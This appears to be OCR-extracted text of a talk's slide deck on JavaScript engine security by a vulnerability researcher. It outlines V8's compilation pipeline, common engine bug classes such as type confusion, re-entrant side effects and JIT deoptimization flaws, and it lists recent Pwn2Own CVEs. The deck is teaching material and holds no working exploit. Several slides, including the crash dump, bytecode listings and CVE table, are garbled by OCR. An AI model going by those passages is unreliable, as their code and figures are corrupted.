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About me

Independent vulnerability researcher
& hacker, Google Microsoft Mozilla

Oracle Apple ...

Creator, Zero Day Engineering
Training & Consulting
(https://zerodayengineering.com)
Winner, Pwn20wn ‘21

Author, Phrack ‘14

Student, Physics

Research: anything deep or complex
enough

Local resident &



https://zerodayengineering.com

Muare ESXi 6.7.0 [Releasebuild-13006603 x86_641

MI IPI: Panic requested by another PCPU. RIPOFF(base):RBP:CS [0x9c3666(0x41801d000000) :0x43080948d0S0:0xfc8] (Src Bx1, CPUD)
SXinVM cr0=0x80010031 cr2=0x850abdc000 cr3=0x8a2f3000 cr4-0x40728

PCPUD : 2097464/ junpstart

PCPU  0: US

ode start: 0x41801d000000 VMK uptine: 0:00:02:04.009

Saved backtrace from: pcpu D Heartbeat NMI

Bx451ab239a710: [0x41801d0fBb10]1IntrCookie !
Dx451ab239a730: [0x41801d146ffc1IDT_IntrHandg
Dx451a023%a750: [0x41801d162066 1gate_entryl
Dx451a0239a818 : [0x41801d09bb89 1Pouer_ArchPd
Dx451a0239a820 : [0x41801d09bc 76 1Pouer _ArchSd
x451a0239a870 : [0x41801d307e55 1CpuSchedIdleloop IntBunkerne 1#nover+0x332 stack: Ox450100000000
Dx451a0239a8e0 : [0x41801d30acdS 1CpuSchedD i spatch@unkerne 1#nover+0x13e2 stack: 0x418000000001
Px451a0239aa20 : mxﬂamdsuclfr]CpuScheduait@ﬁet:ate:xyjﬁ sthﬁl »Q\ r-t

Ox451a0239aab0 : [Bx41801d110de8 1Senaphorelock 0 xct= £t

0x451a0239ab00 : [0x41801d3751431SCS 1 IssueSyncDev iceComnand@unkerne 1#nover+0xd4 stack: 0x451ab239abb8
Bx451a0239ab70: [0x41801d3752f51SCS ISyncDev iceConnandl i thRetr ies IntBunkerne 1#nover+0x86 stack: Dx4302aBee8230
Ux451a023%abd0 : [0x41801d35e05b 1SCS IRead@unkerne 1#nover +0x17c stack: 0x4302a8eel9al

Dx451a023%ac20: [0x41801d35e13f 1Part it ion_ReadGptHdr@vnkerne l#nover+0x30 stack: 0x23f70

Ux451a0239ac80 : [Bx41801d35f2321SCSIUpdatePTable@unkerne l#nover+0x103 stack: 0x4302a8e4d030

Dx451a0239ad00 : [0x41801d3574761SCS IUpdatePart it ionTable@unkernel#nover+0xch stack: 0x451ab23%addd
Dx451a0239ad80 : [Bx41801d377dd81SCSIGetDeviceAttr ibutes@unkerne 1inover+0x551 stack: 0x52414820584f4256
Bx451a023%ae40 : [0x41801d3554a11SCSIExportLogicalDev iceGunkgi\ i) Esage stack: 0x43082a909b78
Dx451a0239%ae70: [0x41801d35bbf51vnk_ScsiRegisterDevices 3 . : 0x41801d4edda8
Ax451a0239b280 : [0x41801dbb7cde Innp_RegisterDeyjceicol ASIEOMDENMSSIOIINECIINeL <+ \: 0x417Fc96046c0

hase fs=0x0 gs=0x418040000000 Kgs=0x0 Special for POC x ZerOCon 2020
1 other PCPU is in panic.

https://youtu.be/1bjekpgZCgU



https://youtu.be/1bjekpgZCgU

1. My Cybersecurity paradigm

Pla n 2. Big picture - JavaScript
Engines (JSE)

10/10/10 3. Deep dive - bugs



Part 1

Big picture:
Cybersecurity



My Cybersecurity model
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Key points
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System Layers

Cybersecurity: Foundational View

Business Model / Legislation

Operation Management / Criminal Investigation

Infrastructure / Perimeter Defense

Payload / Endpoint Protection

Exploit / Mitigation

Vuln / Patch

Take it out?



Zoom in: Vulnerability & Exploits

Universal knowledge & skills

Operating Systems

Fuzzing

Reverse Engineering
Low-level Debugging

CPU Architecture

Hardware Theory & Practice
Vulnerability Theory

Exploit Development

Specialized knowledge & skills

Browsers

O

O

O

Chrome

m System internals

m Bug patterns

m  Exploit primitives

m Target Debugging & RE
Firefox
Edge

Hypervisors

O

O

O

VMware
VirtualBox



Zoom In: Browsers

Browser
JSE



Zoom In: Browsers

Browser

Embedder



Big Picture:
JavaScript Engines



Browser + JSE attack surface (remote)

Browser JavaScript engine
e DOM (Document Object Model) e Parser
e HTML parsing e Analyzers
e Network protocols e Interpreter
o HTTP/2, JSON, ... e Lowering (non-optimizing
e File formats compilation)
2 frzl?hics e Optimization
o udio .
. pDF ° Ga.rb.age collection
o XML .. e Builtins/globals
e JavaScript engine e DOM interfaces
e Sandbox (EoP) e OS interfaces
e 0S bindings e Backend + API (Intl, WebGL, etc.)
e WebAssembly



ECMAScript® 2022 language

13th edition, June 2022

JSE theory

Classification

Category
Subcategory ECMAScript®

Technical Committee

Online Archives

About Ecma v

1.2. THE STRUCTURE OF A COMPILER

position = initial + rate * 60
Lexical Analyzer
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ECMAScript specification



ECMAScript Language sections

Defines fundamental language rules 11 ECMAScript Language: Source Text
Functional: how to parse & execute 12 ECMAScript Language: Lexical Grammar
o  From input string characters (low 13 ECMAScript Language: Expressions
level) 14 ECMAScript Language: Statements and Declarati. ..

o Through lexical & semantic elements
(keywords, operators, expressions)
o To script and module (high level)

Concepts used in parsing

15 ECMAScript Language: Functions and Classes
16 ECMAScript Language: Scripts and Modules

o LHS/RHS, tokens, statement, block... 13.3 Left-Hand-Side Expressions
Outlines abstract operations that 13.3.1 Static Semantics
can directly be implemented in code 13.3.2 Property Accessors
with the same name 13.3.3 EvaluateProperty AccessWithExpressionKe...
You'll need this if auditing code or 13.3.4 EvaluateProperty AccessWithIdentifierKey ...
investigating a bug in parsing 13.3.5 The new Operator

subsystem



Abstract Operations

ECMA’s suggestion on how to
implement JavaScript language
semantics in the engine

o Not part of the language
Engine developers often follow it
directly

o Can be same names of functions
in C++ code of engine

Very useful to understand inner
mechanics of a JavaScript runtime
beyond high level definitions
Essential for advanced bug
hunting to be aware of these ops,
and what they do

https://zerodayengineering.c

om/training/masterclass/bro

wser-security-nightly.html

7 Abstract Operations

7.1 Type Conversion

7.2 Testing and Comparison Operations

7.3 Operations on Objects
7.3.1 MakeBasicObject ( i
732 Get (O, P)
733GetV(V,P)
7.3.4Set(O,P,V, )
7.3.5 CreateDataProperty (O, P, V')
7.3.6 CreateMethodProperty (O, P, V')
7.3.7 CreateDataPropertyOrThrow (O, P, V')
7.3.8 CreateNonEnumerableDataPropertyOrThro...
7.3.9 DefinePropertyOrThrow ( O, P, )
7.3.10 DeletePropertyOrThrow ( O, P )
7.3.11 GetMethod (V, P)
7.3.12 HasProperty (O, P)
7.3.13 HasOwnProperty ( O,
7314 Call(F, V[,



https://zerodayengineering.com/training/masterclass/browser-security-nightly.html
https://zerodayengineering.com/training/masterclass/browser-security-nightly.html
https://zerodayengineering.com/training/masterclass/browser-security-nightly.html

JSE execution pipeline



JSE pipeline (example)

Ja"asc'*sOu i i Full-
| Unoptimized
M

Interpreted Baseline Optimized
V8’s compilation pipeline with Ignition enabled  ips://vs.dewsbiog/ianition-interor

eter



https://v8.dev/blog/ignition-interpreter
https://v8.dev/blog/ignition-interpreter

Parsing & analysis

Input: JavaScript code as a stream
of ASCII symbols in a buffer
Tokenize

Grammar

Syntax verification

AST (Abstract Syntax Tree)
(optional) IR/IL (Intermediate
Representation/Language)
Bytecode generation

Variable allocation

Output: JavaScript binary bytecode
+ runtime structures

// The list of bytecodes which have unique handlers (no other bytecode is
// executed using identical code).
// Format is V(<bytecode>, <implicit_register_use>, <operands>).
#define BYTECODE_LIST_WITH_UNIQUE_HANDLERS(V)
/* Extended width operands x/
V(Wide, ImplicitRegisterUse::kNone)
V(ExtrawWide, ImplicitRegisterUse::kNone)

/* Debug Breakpoints
/* and one for each d
V(DebugBreakwWide, Imq
V(DebugBreakExtrawWide

V(DebugBreak®,
V(DebugBreak1,
OperandType:
V(DebugBreak2,
OperandType:
V(DebugBreak3,
OperandType:
V(DebugBreak4,
OperandType:
OperandType:
V(DebugBreak5,
OperandType:
V(DebugBreak6,
OperandType:
OperandType:

/* Side-effect-free bytecodes —— ¢

Implid
Implid
:kReg)
Implid
H G
Implid
HGELA
Implid
HGEA
:kReg)
Implid
:kRunti
Implid
HGULRS!
:kReg)

/* Binary Operators x/

V(Add, ImplicitRegisterUse::kReadWriteAccumulator, OperandType::kReg,
OperandType: : kIdx)

V(Sub, ImplicitRegisterUse::kReadWriteAccumulator, OperandType::kReg,
OperandType: : kIdx)

V(Mul, ImplicitRegisterUse::kReadWriteAccumulator, OperandType::kReg,

o e e

oeerandTy?ef /% Call operations %/ \
V(Div, Implici V(CallAnyReceiver, ImplicitRegisterUse::kWriteAccumulator, \
OperandType: OperandType: :kReg, OperandType::kRegList, OperandType::kRegCount, \
V(Mod, Implicil OperandType: : kIdx) \
OperandType: V(CallProperty, ImplicitRegisterUse::kWriteAccumulator, OperandType::kReg, \
V(Exp, Impl.ici OperandType: :kRengft,v OperandType::kRegCount, OperandType: : kIdx) b
V(CallProperty@, ImplicitRegisterUse::kWriteAccumulator, OperandType::kReg, \
OperandType: OperandType: :kReg, OperandType::kIdx) \
V(BitwiseOr, I|| v(callPropertyl, ImplicitRegisterUse::kWriteAccumulator, OperandType::kReg, \
OperandType: OperandType: :kReg, OperandType::kReg, OperandType::kIdx) \
V(BitwiseXor, V(CallProperty2, ImplicitRegisterUse::kWriteAccumulator, OperandType::kReg, \
OperandType: OperandType: :kReg, OperandType::kReg, OperandType::kReg, \
i K OperandType: : kIdx) A\
V(BitwiseAnd, V(CallUndefinedReceiver, ImplicitRegisterUse::kWriteAccumulator, \
OperandType: OperandType: :kReg, OperandType::kRegList, OperandType::kRegCount, \
V(ShiftLeft, I OperandType: : kIdx) \
OperandType: V(CallUndefinedReceiver®, ImplicitRegisterUse::kWriteAccumulator, \
V(ShiftRight OperandType: :kReg, OperandType: :kIdx) \
L V(CallUndefinedReceiverl, ImplicitRegisterUse::kWriteAccumulator, \
OperandType: OperandType: :kReg, OperandType::kReg, OperandType: :kIdx) \
V(ShiftRightLo|| v(CallundefinedReceiver2, ImplicitRegisterUse::kWriteAccumulator, \
OperandType: OperandType: :kReg, OperandType::kReg, OperandType::kReg, \
OperandType: : kIdx) \
V(CallWithSpread, ImplicitRegisterUse::kWriteAccumulator, OperandType::kReg, \
= OperandType: :kRegList, OperandType::kRegCount, OperandType::kIdx) \
V(CallRuntime. ImolicitRegisterUse::kWriteAccumulator




AST

JavaScript Source

@

function f(a) {
if (a > @) {
return a + 1;
} else {
return a - 2;
}
}

@&

Parse

Abstract Syntax Tree

FunctionLiteral: f

Return

Subtract

Literal: 1

Literal: 2

GreaterThan

Literal: @

Compile

Ignition Bytecode

StackCheck
LdaZero
TestGreaterThan a0
JumpIfFalse [@else]
Ldar a®
AddSmi #1
Return
@else:
Ldar a®
SubSmi #2
Return

https://v8.d
ev/blod/bac

]
Kot -Co
mpilation


https://v8.dev/blog/background-compilation
https://v8.dev/blog/background-compilation
https://v8.dev/blog/background-compilation
https://v8.dev/blog/background-compilation

letx =1

M~
-> 0x389100294e5e @

0x389100294€60 @
accumulator

v

'
v

0x389100294€63 @
[ accumulator

'
v

'
v

al

'
v

0x389100294680 @
[ accumulator

'
v

0x38§100294684 @

accumulator

'
v

-> 0x389100294686 @
-> 0x389100294691 @

'
v

0x389100294693 @
[ accumulator

'
v

v

'
v

0x3891002949e3 @
[ accumulator
©x389100294698 @

accumulator

v

'
v

'
v

0x3891002946a5 @
[ accumulator

v

0x3891002946a6 @

[ accumulator

v

ex3891002946ai @

-> 0x3891002946a9 @
[ accumulator
[ rie

-> 0x3891002946ac @
[ accumulator

0x3891002946e1 @

v

-> 0x3891002946e3 @
[ accumulator
undefined

0x389100294e62 @

0x38910029467e @

0x389100294682 @

0x389100294694 @

0x3891002949¢2 @

©x3891002946a3 @

0 : od o1

2 : 25 02

41 : i3 01

101

root@d272c5061a69: ~/code /v8/v8/out/x64.debug
Ldasmi [1]

StaCurrentContextSlot [2]

Ldaundefined
Return
<undefined> ]
Ldar a1
<undefi > ]
JumpIfNotUndefined [8]
<undefined> ]

LdaImmutableCurrentContextSlot [2]

Star a1
Jump [11]
LdaCurrentContextSlot [3]
Star1e
<JSFunc n isProxy (sfi = © )> ]
CallundefinedReceiverl r1e, ae, [1
Function isProxy (sfi = 0x38910029417d)> ]

<undefined> ]

LdaFalse

Return
<false> ]
JumpIfToBooleanFalse [11]
lse> ]
Ldar a0
<undefined> ]

Typebf

<undefined> ]

Star1e
[9]: #undefined> ]

LdaConstant [1]

TestEqualstrict f1a, [5]
[9]: #undefined>
>]: #undefined>

'JumprTrue [53]

<true>

"LdaConstant [1]

Return
) #undefined> ]

d8 --trace-ignition



Interpreter

First stage of JavaScript execution

e Iterate through byte codes & execute
the respective logic (handlers in
Ignition)

e Collect type feedback!

e \Very slow

Simple JavaScript engines live in this
stage;

Modern browser JS engines jump to
lower&optimize as fast as possible (even
at the cost of speculative type inference)

v €+ interpreter-generator.cc srcfinterpreter
#define IGNITION_HANDLER(Name, BaseAssembler) \
IGNITION_HANDLER(LdaZero, InterpreterAssembler) {
IGNITION_HANDLER(LdaSmi, InterpreterAssembler) {
IGNITION_HANDLER(LdaConstant, InterpreterAssembler) {
IGNITION_HANDLER (LdaUndefined, InterpreterAssembler) {
IGNITION_HANDLER(LdaNull, InterpreterAssembler) {
IGNITION_HANDLER(LdaTheHole, InterpreterAssembler) {
IGNITION_HANDLER(LdaTrue, InterpreterAssembler) {
IGNITION_HANDLER(LdaFalse, InterpreterAssembler) {
IGNITION_HANDLER(Ldar, InterpreterAssembler) {
IGNITION_HANDLER(Star, InterpreterAssembler) {
IGNITION_HANDLER(Star0, InterpreterAssembler) {
IGNITION_HANDLER (Moyv, InterpreterAssembler) {
IGNITION_HANDLER(LdaGlobal, InterpreterLoadGlobalAssembler) {
IGNITION_HANDLER (LdaGloballnsideTypeof, InterpreterLoadGlobalAssembler) {
IGNITION_HANDLER(StaGlobal, InterpreterAssembler) {
IGNITION_HANDLER (LdaContextSlot, InterpreterAssembler) {
IGNITION_HANDLER (LdalmmutableContextSlot, InterpreterAssembler) {
IGNITION_HANDLER (LdaCurrentContextSlot, InterpreterAssembler) {
IGNITION_HANDLER (LdalmmutableCurrentContextSlot, InterpreterAssembler) {
IGNITION_HANDLER (StaContextSlot, InterpreterAssembler) {
IGNITION_HANDLER(StaCurrentContextSlot, InterpreterAssembler) {
IGNITION_HANDLER (LdaLookupSlot, InterpreterAssembler) {

177




Lowering

... a.k.a., non-optimizing / baseline
compilation or “reduction”

e Replace bytecode with
pre-configured snippets (or more
fine-grained assembly) of CPU asm
code which does the same job

e Hardware architecture
-specialized (x86/64, ARM, MIPS...)

e Still slow, but better than interpreter

JIT (Just In Time compilation) usually
involves lowering + optimization

switch (rep) {
case MachineRepresentation::

opcode = kMips64Swcl;
break;

case MachineRepresentation::

opcode = kMips64Sdcl;
break;

case MachineRepresentation::
case MachineRepresentation::

opcode = kMips64Sb;
break;

case MachineRepresentation::

opcode = kMips64Sh;
break;

case MachineRepresentation::

opcode = kMips64Sw;
break;

case MachineRepresentation::
case MachineRepresentation::
case MachineRepresentation::
case MachineRepresentation::

opcode = kMips64Sd;
break;

case MachineRepresentation::

opcode = kMips64MsaSt;
break;

case MachineRepresentation::
case MachineRepresentation::
case MachineRepresentation::
case MachineRepresentation::
case MachineRepresentation::
case MachineRepresentation::

UNREACHABLE() ;

kFloat32:

kFloat64:

kBit: // Fall through.

kWord8:

kWord16:

kWord32:

kTaggedSigned:  // Fall through.
kTaggedPointer: // Fall through.
kTagged: // Fall through.

kWord64:

kSimd128:

kSimd256:

kCompressedPointer:

kCompressed:
kSandboxedPointer:
kMapWord:

kNone:

14
//
it

//

Fall
Fall
Fall
Fall
Fall

through.
through.
through.
through.
through.




Inputs:

e Interpreter bytecode
e "“Hot function” signal
e Type feedback

All the classic compiler stages, plus some

Type specialization
Inlining

Escape analysis

Dead code elimination ...

Owed to dynamic typing:

e Speculative in nature
Insert type checks (expensive!!

e Conditional de-optimization => return to

interpreter mode

Optimization

2848
2849
2850
2851
2852
2853
2854
2855
2856
2857
2858
2859
2860
2861
2862
2863
2864
2865
2866
2867
2868
2869
2870
2871
2872
2873
2874
2875
2876
2877
2878
2879
2880
2881
2882
2883
2884
2885
2886
2887
2008

bool PipelineImpl::OptimizeGraph(Linkagex linkage) {
PipelineData* data = this->data_;

data->BeginPhaseKind("V8.TFLowering");

// Trim the graph before typing to ensure all nodes are typed.
Run<EarlyGraphTrimmingPhase>();
RunPrintAndVerify(EarlyGraphTrimmingPhase: :phase_name(), true);

// Type the graph and keep the Typer running such that new nodes get
// automatically typed when they are created.
Run<TyperPhase>(data->CreateTyper());
RunPrintAndVerify(TyperPhase::phase_name());

Run<TypedLoweringPhase>();
RunPrintAndVerify(TypedLoweringPhase: :phase_name());

if (data->info()->loop_peeling()) {
Run<LoopPeelingPhase>();
RunPrintAndVerify(LoopPeelingPhase: :phase_name(), true);
} else {
Run<LoopExitEliminationPhase>();
RunPrintAndVerify(LoopExitEliminationPhase: :phase_name(), true)
}

if (FLAG_turbo_load_elimination) {
Run<LoadEliminationPhase>();
RunPrintAndVerify(LoadEliminationPhase: :phase_name());

}

data->DeleteTyper() ;

if (FLAG_turbo_escape) {
Run<EscapeAnalysisPhase>();
RunPrintAndVerify(EscapeAnalysisPhase: :phase_name());
}

if (FLAG_assert_types) {
Run<TypeAssertionsPhase>();
RunPrintAndVerify(TypeAssertionsPhase: :phase_name());
}




96 results in 9 files - Open in editor

Reduction JSNativeContextSpecialization
Reduction JSNativeContextSpecialization
Reduction JSNativeContextSpecialization
Reduction JSNativeContextSpecialization
Reduction JSNativeContextSpecialization

::ReduceJSAsyncFunctionReject(
::ReduceJSAsyncFunctionResolve(
::ReduceJSAdd(Node* node) {
::ReduceJSGetSuperConstructor(
::ReduceJSinstanceOf(Node* node) {

JSNativeContextSpecialization::InferHasInPrototypeChainResult

JSNativeContextSpecialization::InferHasInPrototypeChain(

Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::

ReduceJSHasInPrototypeChain(
ReduceJSOrdinaryHaslInstance(
ReduceJSPromiseResolve(Node* node) {
ReduceJSResolvePromise(Node* node) {
ReduceGlobalAccess(
ReduceJSLoadGlobal(Node* node) {
ReduceJSStoreGlobal(Node* node) {
ReduceMegaDOMPropertyAccess(
ReduceNamedAccess(
ReduceJSLoadNamed(Node* node) {
ReduceJSLoadNamedFromSuper(
ReduceJSGetlterator(Node* node) {
ReduceJSSetNamedProperty(Node* node) {
ReduceJSDefineNamedOwnProperty(
ReduceElementAccessOnString(

void JSNativeContextSpecialization::RemovelmpossibleMaps(

JSNativeContextSpecialization::TryRefine

Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::
Reduction JSNativeContextSpecialization::

Dadiintinn 1CNativafantaviC inlivatinn..

ElementAccessFeedback(
ReduceElementAccess(
ReduceElementLoadFromHeapConstant(
ReducePropertyAccess( g X
ReduceEagerDeoptimize(
ReduceJSHasProperty(Node* node) {
ReduceJSLoadPropertyWithEnumeratedKey (
ReduceJSLoadProperty(Node* node) {

Dadiina 1ICCatlavindDranartuiNlada* nadal §

Reduction JSNativeContextSpecialization: :ReducePropertyAccess(
Nodex node, Nodex key, base::0ptional<NameRef> static_name, Nodex value,
FeedbackSource const& source, AccessMode access_mode) {
DCHECK_EQ(key == nullptr, static_name.has_value());
DCHECK(node->opcode() == IrOpcode::kJSLoadProperty ||
node->opcode() == IrOpcode::kJSSetKeyedProperty ||
node->opcode() == IrOpcode::kJSStoreInArrayLiteral ||
node->opcode() == IrOpcode::kJSDefineKeyedOwnPropertyInLiteral ||
node->opcode() == IrOpcode::kJSHasProperty ||
node->opcode() == IrOpcode::kJSLoadNamed ||
node->opcode() == IrOpcode::kJSSetNamedProperty ||
node->opcode() == IrOpcode::kJSDefineNamedOwnProperty ||
node->opcode() == IrOpcode::kJSLoadNamedFromSuper ||
node->opcode() == IrOpcode::k]SDefineKeyedOwnProperty);
DCHECK_GE(node->op()->ControlOutputCount(), 1);

ProcessedFeedback const& feedback =
broker()->GetFeedbackForPropertyAccess(source, access_mode, static_name);
switch (feedback.kind()) {
case ProcessedFeedback::kInsufficient:
return ReduceEagerDeoptimize(
node,
DeoptimizeReason: :kInsufficientTypeFeedbackForGenericNamedAccess);
case ProcessedFeedback: :kNamedAccess:
return ReduceNamedAccess(node, value, feedback.AsNamedAccess(),
access_mode, key);
case ProcessedFeedback: :kMegaDOMPropertyAccess:
DCHECK_EQ(access_mode, AccessMode::kLoad);
DCHECK_NULL (key) ;
return ReduceMegaDOMPropertyAccess (
node, value, feedback.AsMegaDOMPropertyAccess(), source);
case ProcessedFeedback::kElementAccess:
DCHECK_EQ(feedback.AsElementAccess().keyed_mode().access_mode(),
access_mode) ;
DCHECK_NE(node->opcode(), IrOpcode::kJSLoadNamedFromSuper);
return ReduceElementAccess(node, key, value, feedback.AsElementAccess());
default:
UNREACHABLE() ;

} TurboFan (v8)




Runtime logic & API

Code that implements global objects
& prototypes (Array, RegExp, etc.)
“this" object links to a runtime
structure that dispatches calls &
config

Interfaces to external libraries (Intl,
WebGL...)

Structures that encode object type
(shape) layout in memory

Type conversions ...

> this

Ve

Window {@: Window, 1: Window, 2: Window, 3: Window, 4: Window, 5: Window, 6: glob
val, 7: Window, 8: Window, 9: Window, 10: Window, window: Window, self: Window, do
cument: document, name: '', location: Location, ..}
v 0: Window
» alert: f alert()
» atob: f atob()
» blur: f blur()
» btoa: f btoa()
» caches: CacheStorage {}
» cancelAnimationFrame: f cancelAnimationFrame()
» cancelIdleCallback: f cancelIdleCallback()
» captureEvents: f captureEvents()
» chrome: {loadTimes: f, csi: f}
» clearInterval: f clearInterval()
» clearTimeout: f clearTimeout()
» clientInformation: Navigator {vendorSub:
» close: f close()
closed: false
» confirm: f confirm()
» cookieStore: CookieStore {onchange: null}
» createImageBitmap: f createImageBitmap()
credentialless: false
crossOriginIsolated: false
» crypto: Crypto {subtle: SubtleCrypto}
» customElements: CustomElementRegistry {}
devicePixelRatio: 2
» document: document
» external: External {}
» fetch: f fetch()
» find: f find()
» focus: f focus()
» frameElement: iframe#sketchy-hidden-iframe
» frames: Window {window: Window, self: Window, document: document, name: 5 U
» getComputedStyle: f getComputedStyle()
» getScreenDetails: f getScreenDetails()
» getSelection: f getSelection()

> hictaru: Hictnru flanathe 1 cernllBactaratinne 'autn!  ctatas nulld

, productSub: '20030107', vendor: '




let x = {}
%DebugPrint(x)

DebugPrint: 0x34e300106bd99: [JS_OBJECT_TYPE]
- map: 0x34e3002c22f1 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x34e3002846e5 <Object map = 0x34e3002c21d9>
- elements: 0x34e300002251 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x34e300002251 <FixedArray[0]>
- ALl own properties (excluding elements): {}
0x34e3002c22f1: [Map]
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- elements kind: HOLEY_ELEMENTS
- unused property fields: 4
- enum length: invalid
- back pointer: 0x34e3000023d9 <undefined>
- prototype validity cell: 0x34e300204479 <Cell value= 1>
- instance descriptors (own) #0: 0x34e3000021e5 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x34e3002846e5 <Object map = 0x34e3002c21d9>
- constructor: 0x34e3002842f9 <JSFunction Object (sfi = 0x34e30021bbb9)>
- dependent code: 0x34e3000021d9 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: ©

d8 --allow-natives-syntax




JSE bug patterns - universal



(Un)Common bug classes

Pure buffer overflow is rare due to
well audited code base
Pure Use-after-free is rare due to
how garbage collection is
implemented
o Dangling pointers are uncommon
Implementation specific bug classes
o E.g. The Hole in v8
Bug classes come and go
o There was a spike in UaFs when

Array neutering was just introduced,
they are gone now

Parsing bugs are rare in mature
engines

Parent: 323ada@1 (Reland "Update V8 DEPS (trusted)")

Author: Toon Verwaest <verwaest@chromium.org>

AuthorDate: 2022-11-30 15:07:26 +0100

Commit: V8 LUCI CQ <v8-scoped@luci-project-accounts.iam.gserviceacco
unt.com>

CommitDate: 2022-11-30 14:47:34 +0000

[parser] Fix eval tracking

Due to mismatch in strictness we otherwise invalidly mark scopes as
calling sloppy eval.

Bug: chromium:1394463

Change-Id: Iece45df87f171616a2917c2aba5540636880a7c6

Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/4066044
Reviewed-by: Igor Sheludko <ishell@chromium.org>

Commit-Queue: Toon Verwaest <verwaest@chromium.org>

Cr-Commit-Position: refs/heads/main@{#84575}

Aren’t they?



Type Confusion

What is it

Accessing type X as it were type Y =>
memory corruption

Reasons

Dynamic typing
Runtime mutability

Notes

Two bugs being type confusion does not
imply that they are related; it's a very
general vulnerability class (common
mistake in news reports)

CVE-2023-2033

CVE-2023-1214

CVE-2023-0696

CVE-2022-4262

CVE-2022-4174

CVE-2022-39266

CVE-2022-3889

CVE-2022-3885

CVE-2022-3723

CVE-2022-3652

Type confusion in V8 in Google Chrome prior to 112.0.5615.12
security severity: High)
Type confusion in V8 in Google Chrome prior to 111.0.5563.64
security severity: High)
Type confusion in V8 in Google Chrome prior to 110.0.5481.77
security severity: High)
Type confusion in V8 in Google Chrome prior to 108.0.5359.94
security severity: High)
Type confusion in V8 in Google Chrome prior to 108.0.5359.71
security severity: High)

isolated-vm is a library for nodejs which gives the user access
through CachedDataOptions, attackers can bypass the sandbo
or workarounds.

Type confusion in V8 in Google Chrome prior to 107.0.5304.10
security severity: High)

Use after free in V8 in Google Chrome prior to 107.0.5304.106
security severity: High)

Type confusion in V8 in Google Chrome prior to 107.0.5304.87
security severity: High)

Type confusion in V8 in Google Chrome prior to 107.0.5304.62
security severity: High)




Side effects (runtime re-entrancy)

What is it

e Basically, JavaScript code execution
in the middle of C++ code

e State changes => broken code
assumptions

REEH NS

e Dynamic typing

e Mutability of language semantics by
design

e Optimization requirements

e Implicit type conversion

Examples

o. proto = {} // intercept lookup on
proto chain

o = {valueOf: evil callbackl, toString:
evil callback2}

ta[0] = o; // implicit coercion (via
function .valueOf)

new Proxy() // intercept by design
String.prototype.valueOf = function () {

return 'y' }; // redefine global object
behavior



Optimization issues

What is it

e Broken assumptions in JIT-ed
JavaScript code

e EX. optimized for type X, given type
Y => type confusion

e More subtle/logic issues

Reasons

e Missed or wrong deoptimization
check (logic bug)

e Lack of understanding of JavaScript
runtime nuance (unexpected state)

Example
function f(arg) { .. access arg .. }
opt ( f(new Uint32Array()) )

// low level accesses in compiled code
optimized for Uint32Array

f({}) // should be deoptimized
opt ( £({}) )

// optimized for object



Part 3

Deep dive:
JavaScript Engine
bugs



Zero Day Engineering | Bugs
ES Table EB Pwn20wn E3 Browsers +

W D = Product

Aa Title
E-16 Firefox [’ CVE-2024-29944

Firefox »

Chrome v8 [ CVE-2024-3159
Chrome [ CVE-2024-2886
Chrome  v8 [ CVE-2024-2887
Edge  Chrome [» CVE-2024-3914

- E-30 Safari  WebKit CVE-2024-271 (8 OPEN

Description

Firefox: inject an event handler into a
privileged object that would allow
arbitrary JavaScript execution in the
parent process. Note: This
vulnerability affects Desktop Firefox
only, it does not affect mobile
versions of Firefox

Firefox: out-of-bounds read or write
on a JavaScript object by fooling
range-based bounds check
elimination

v8: Out of bounds memory access in
enum cache / MapUpdater

Chrome

v8

V8. Microsoft Edge DOMArrayBuffer
Use-After-Free Remote Code
Execution Vulnerability. The specific
flaw exists within the
DOMArrayBuffer class in the
Chromium Blink rendering engine. By
performing actions in JavaScript, an
attacker can cause a pointer to be
reused after it has been freed. An
attacker can leverage this
vulnerability to execute code in the
context of the current process at low
integrity.

Impact: An attacker with arbitrary
read and write capability may be
able to bypass Pointer

= Tags

[Pwn20wn Sandbox Callbacks

) Date of patch

March 22, 2024

[Pwn20wn| RCE Optimization

March 22, 2024

March 23, 2024

RCE WebCodecs UaF March 26, 2024

[PWn20wn WebAssembly RCE PoC March 26, 2024
[Pwn20wn RCE DOM UaF April 18, 2024
Pwn20wn RCE May 13, 2024

= Notes

orglen-L i i 15/
ymozi 32e08bc1a29cch

https://hg.mozilla.
Finder: Manfred Paul

(Day 2) SUCCESS - Manfred Paul (@_manfp) used an OOB Write for the RCE and an exposed dangerous function
bug to achieve his sandbox escape of Mozilla Firefox. He earns another $100,000 and 10 Master of Pwn points,
which puts him in the lead with 25.

org/en-L i isori 15/ o

1e198a512610a5

https://hg.mozilla.c

(Day 2) SUCCESS - Manfred Paul (@_manfp) used an OOB Write for the RCE and an exposed dangerous function
bug to achieve his sandbox escape of Mozilla Firefox. He earns another $100,000 and 10 Master of Pwn points,
which puts him in the lead with 25.

Variant: [ CVE-2023-4427 q
Advisory: Beretelind P
Issue: https:/fissues.chromium.org/issues/330760873
Patch: i / 1860
'URVOk-

PoC: google. 7VX

Finder: Edouard Bochin (@le_douds) and Tao Yan (@Ga1ois) of Palo Alto Networks

(Day 2) SUCCESS - Edouard Bochin (@le_douds) and Tao Yan (@Ga1ois) from Palo Alto Networks used an 0OB
Read plus a novel technique for defeating V8 hardening to get arbitrary code execution in the renderer. They were
able to exploit Chrome and Edge with the same bugs, earning $42,500 and 9 Master of Pwn points.

Patch: i
Finder: Seunghyun Lee of KAIST Hacking Lab

15386784 .

(Day 1) SUCCESS - Seunghyun Lee (@0x10n) of KAIST Hacking Lab was able to execute their exploit of the Google
